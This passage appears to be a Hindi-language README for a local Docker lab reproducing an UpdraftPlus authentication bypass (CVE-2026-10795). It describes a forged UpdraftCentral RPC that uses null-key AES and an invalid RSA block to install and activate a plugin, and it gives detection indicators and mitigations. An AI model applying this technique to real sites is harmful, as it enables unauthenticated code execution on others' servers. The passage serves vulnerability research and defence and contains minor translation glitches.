| `--url` | हाँ | स्थानीय लैब लक्ष्य URL |
| `--ping` | नहीं | आईडी प्रमाण के बजाय हानिरहित नकली पिंग सत्यापन चलाएँ |
| `--timeout` | नहीं | सेकंड में HTTP टाइमआउट। डिफ़ॉल्ट: `15` |
स्वीकृत लक्ष्य होस्ट:```text
127.0.0.1
localhost
::1
The PoC डिफ़ॉल्ट रूप से गैर-लोकल टारगेट्स को अस्वीकार करता है।
PoC होस्ट मशीन से चलता है और एक्सपोज़्ड Docker सेवाओं को HTTP अनुरोध भेजता है।
डिफ़ॉल्ट PoC क्रिया ID proof है।
उच्च-स्तरीय प्रवाह इस प्रकार है:```text
मार्कर प्लगइन को रिपॉजिटरी में एक स्टैंडअलोन प्लगइन फ़ाइल के रूप में संग्रहीत नहीं किया गया है। यह PoC द्वारा मेमोरी में उत्पन्न किया जाता है।
गढ़ा गया RPC कमांड है:```text
plugin.upload_plugin
RPC डेटा में निम्नलिखित शामिल है:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
PoC आंतरिक JSON RPC संदेश को इसका उपयोग करके एन्क्रिप्ट करता है:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
इसमें जानबूझकर अमान्य RSA-एन्क्रिप्टेड सममित कुंजी ब्लॉक भी शामिल है।
कमजोर संस्करण पर, RSA डिक्रिप्ट विफलता को अस्वीकार नहीं किया जाता है। संदेश पूर्वानुमानित null-key डिक्रिप्ट पथ में जारी रहता है और जाली कमांड निष्पादित हो जाती है।
पैच किए गए संस्करण पर, अमान्य सममित कुंजी को अस्वीकार कर दिया जाता है और जाली कमांड निष्पादित नहीं होती है।
--ping क्यों मौजूद है--ping विकल्प एक डिबगिंग सहायता है।
यह केवल क्रिप्टो बायपास और RPC डिस्पैच सीमा को मान्य करता है। यह कोई प्लगइन अपलोड नहीं करता और /usr/bin/id नहीं चलाता।
--ping का उपयोग तब करें जब डिफ़ॉल्ट ID प्रमाण काम नहीं करता और विफलता को अलग करने की आवश्यकता हो।
यदि --ping विफल हो जाता है, तो समस्या संभवतः कमांड निष्पादन से पहले है:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
यदि `--ping` सफल हो जाता है लेकिन ID प्रमाण विफल हो जाता है, तो समस्या संभवतः dispatch के बाद है:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
अपेक्षित ping व्यवहार:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## अपेक्षित परिणाम
### असुरक्षित लक्ष्य
कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### पैच किया गया लक्ष्य
कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## मैन्युअल सत्यापन कमांड
सेवा स्वास्थ्य जांचें:```bash
docker compose ps
असुरक्षित सेवा मेटाडेटा का निरीक्षण करें:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
पैच किए गए सेवा मेटाडेटा का निरीक्षण करें:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
रनटाइम प्लगइन स्थिति जांचें:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
केवल ping सत्यापन चलाएँ:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
रन आईडी प्रमाण:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
PoC चलाने के तुरंत बाद मार्कर एंडपॉइंट की जाँच करें:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
This chunk contains no translatable content.```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
असुरक्षित कंटेनर के अंदर स्थापित प्लगइन की जाँच करें:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
पैच किए गए कंटेनर के अंदर स्थापित प्लगइन्स की जाँच करें:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
PoC के चलने के बाद भेद्य सेवा में मार्कर प्लगइन मौजूद होना चाहिए। पैच की गई सेवा में नहीं होना चाहिए।
## प्रभाव
यह लैब दर्शाता है कि एक अनधिकृत हमलावर UpdraftCentral RPC संदेश को गढ़ सकता है, जो उपयुक्त UpdraftCentral कुंजी स्थिति मौजूद होने पर UpdraftPlus 1.26.4 में विशेषाधिकार प्राप्त कमांड डिस्पैच तक पहुँचता है।
प्रदर्शित प्रभाव RCE-शैली का है क्योंकि गढ़ा गया RPC कमांड वैध प्लगइन प्रबंधन कार्यक्षमता का दुरुपयोग करता है:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
स्थानीय प्रमाण वेब सर्वर उपयोगकर्ता के रूप में निष्पादन दिखाता है:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
भेद्यता श्रेणी प्रमाणीकरण बाईपास ही बनी हुई है। कोड निष्पादन परिणाम विशेषाधिकार प्राप्त WordPress प्लगइन स्थापना के माध्यम से एक श्रृंखलाबद्ध प्रभाव है।
## पहचान और निगरानी
संभावित संकेतकों में WordPress मुख्य पृष्ठ पर भेजे गए अनप्रमाणित POST अनुरोध शामिल हैं जिनमें UpdraftCentral RPC फ़ील्ड होते हैं:```text
format
key_name
udrpc_message
signature
संदिग्ध विशेषताएँ:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
स्थानीय प्रयोगशाला संकेतक:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
प्रोडक्शन निगरानी के सुझाव:
udrpc_message युक्त POST अनुरोधों के लिए वेब एक्सेस लॉग की समीक्षा करें।format=1 RPC अनुरोधों पर अलर्ट करें।wp-content/plugins के अंतर्गत फाइलसिस्टम परिवर्तनों की निगरानी करें।UpdraftPlus को संस्करण 1.26.5 या उसके बाद के संस्करण में अपग्रेड करें।
पैच किया गया संस्करण सममित डिक्रिप्शन और कमांड डिस्पैच से पहले अमान्य डिक्रिप्ट की गई सममित कुंजियों को अस्वीकार करता है।
अनुशंसित शमन चरण:
udrpc_message अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें।सबसे महत्वपूर्ण सुधार एक पैच किए गए UpdraftPlus संस्करण को चलाना है जो डिक्रिप्शन और डिस्पैच से पहले अमान्य सममित कुंजियों को अस्वीकार करता है।
कंटेनर रोकें और नेटवर्क हटाएँ:```bash docker compose down --remove-orphans
कंटेनर, नेटवर्क और वॉल्यूम हटाएँ:```bash
docker compose down -v --remove-orphans
Python वर्चुअल वातावरण हटाएं:```bash rm -rf venv
यदि बनाई गई हों तो स्थानीय साक्ष्य फ़ाइलें हटाएँ:```bash
rm -rf evidence/
यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
PoC को उन सिस्टमों पर न चलाएँ जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
इस लैब में वास्तविक क्रेडेंशियल, प्रोडक्शन रहस्य, या बाहरी लक्ष्यों का उपयोग न करें।
PoC जानबूझकर स्थानीय Docker सेवाओं तक सीमित है जैसे:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
The PoC डिफ़ॉल्ट रूप से गैर-स्थानीय लक्ष्यों को अस्वीकार कर देता है।
मार्कर प्लगइन एक सामान्य कमांड निष्पादन पैरामीटर लागू नहीं करता है। यह केवल एक हार्ड-कोडेड स्थानीय प्रमाण एंडपॉइंट को उजागर करता है जो `/usr/bin/id` चलाता है।
इस लैब में शामिल नहीं है:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text unauthenticated forged RPC
## संदर्भ
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence भेद्यता डेटाबेस: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack डेटाबेस: UpdraftPlus
https://patchstack.com/database/
* WordPress.org प्लगिन: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org प्लगिन SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org प्लगिन SVN टैग
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: प्रमाणीकरण चीट शीट
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: वेब सुरक्षा परीक्षण गाइड
https://owasp.org/www-project-web-security-testing-guide/
| PoC व्यवहार | परीक्षणाधीन स्रोत व्यवहार | 1.26.4 पर अपेक्षित | 1.26.5 पर अपेक्षित |
|---|
format=1 के साथ POST भेजें | लिसनर लेगेसी RPC प्रारूप स्वीकार करता है | जारी रहता है | पैच किए गए डिक्रिप्ट जाँच तक जारी रहता है |
| मान्य हस्ताक्षर छोड़ें | हस्ताक्षर जाँच केवल format >= 2 पर लागू होती है | हस्ताक्षर आवश्यक नहीं | format=1 के लिए हस्ताक्षर आवश्यक नहीं, परंतु बाद में अवरुद्ध हो जाता है |
| अमान्य RSA ब्लॉक भेजें | RSA डिक्रिप्ट अमान्य सममित कुंजी लौटाता है | अमान्य कुंजी setKey() तक पहुँचती है | अमान्य कुंजी अस्वीकृत |
| null कुंजी/null IV के साथ JSON एन्क्रिप्ट करें | setKey(false) के बाद phpseclib फ़ॉलबैक व्यवहार का अनुकरण करता है | मान्य JSON में डिक्रिप्ट हो जाता है | डिक्रिप्ट नहीं होता |
command=ping सेट करें | केवल क्रिप्टो बायपास और डिस्पैच का परीक्षण करता है | PING DISPATCHED | PING NOT DISPATCHED |
command=plugin.upload_plugin सेट करें | UpdraftCentral प्लगइन अपलोड विधि को कॉल करता है | प्लगइन ZIP स्थापित हो जाता है | कमांड तक नहीं पहुँचा जाता |
activate=true सेट करें | स्थापना के बाद activate_plugin() को ट्रिगर करता है | मार्कर प्लगइन सक्रिय | मार्कर प्लगइन अनुपस्थित |
/wp-json/cve-lab/v1/id का अनुरोध करें | जाँचता है कि मार्कर प्लगइन कोड चल रहा है या नहीं | uid=33(www-data) लौटाता है | 404 rest_no_route लौटाता है |
| Service | Component | Version / Role |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 संवेदनशील लक्ष्य |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 पैच किया गया लक्ष्य |
vuln_db | MariaDB | संवेदनशील लक्ष्य के लिए डेटाबेस |
patched_db | MariaDB | पैच किए गए लक्ष्य के लिए डेटाबेस |
vuln_setup | WP-CLI setup service | WordPress स्थापित करता है, UpdraftPlus सक्रिय करता है, स्थानीय कुंजी स्थिति सीड करता है |
patched_setup | WP-CLI setup service | WordPress स्थापित करता है, UpdraftPlus सक्रिय करता है, स्थानीय कुंजी स्थिति सीड करता है |